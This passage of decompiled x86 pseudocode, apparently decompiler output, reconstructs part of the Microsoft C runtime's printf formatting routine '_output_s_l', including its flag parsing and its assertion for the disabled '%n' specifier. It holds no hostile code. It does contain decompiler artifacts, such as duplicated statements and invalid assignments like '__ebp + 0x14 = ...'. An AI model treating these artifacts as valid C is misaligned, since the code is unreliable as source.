										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C3D0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435560))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E00431210( *(_t701 - 0x251) & 0x000000ff, E0041ACE0(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E004281F0( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E004281F0( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E210();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422D00(_t616))) = 0x16;
																									E00422A90(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041ACB0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435598; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435580))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x4355c0; // 0x4dce9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M004355AC))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E210();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D00(_t618))) = 0x16;
																						E00422A90(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041ACB0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BCB0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E210();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041ACB0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422D00(_t605))) = 0x16;
																				E00422A90(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041ACB0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E00428290(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E004282D0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E00428290(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E004282D0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E00434220(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E004282D0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E00428290(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00428360(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xf2632e26
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xf2d1ae26
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xf2c8ae26
																							E00424550(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					goto L190;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428360(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283A0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L190;
																		case 7:
																			goto L0;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00428360(__ebp + 0x14);
																			if(E00433F00() != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L190;
																			}
																			L110:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				goto L190;
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L153;
																		case 0xa:
																			L145:
																			 *(__ebp - 0x30) = 8;
																			goto L146;
																		case 0xb:
																			L90:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) -  *(__ebp - 4);
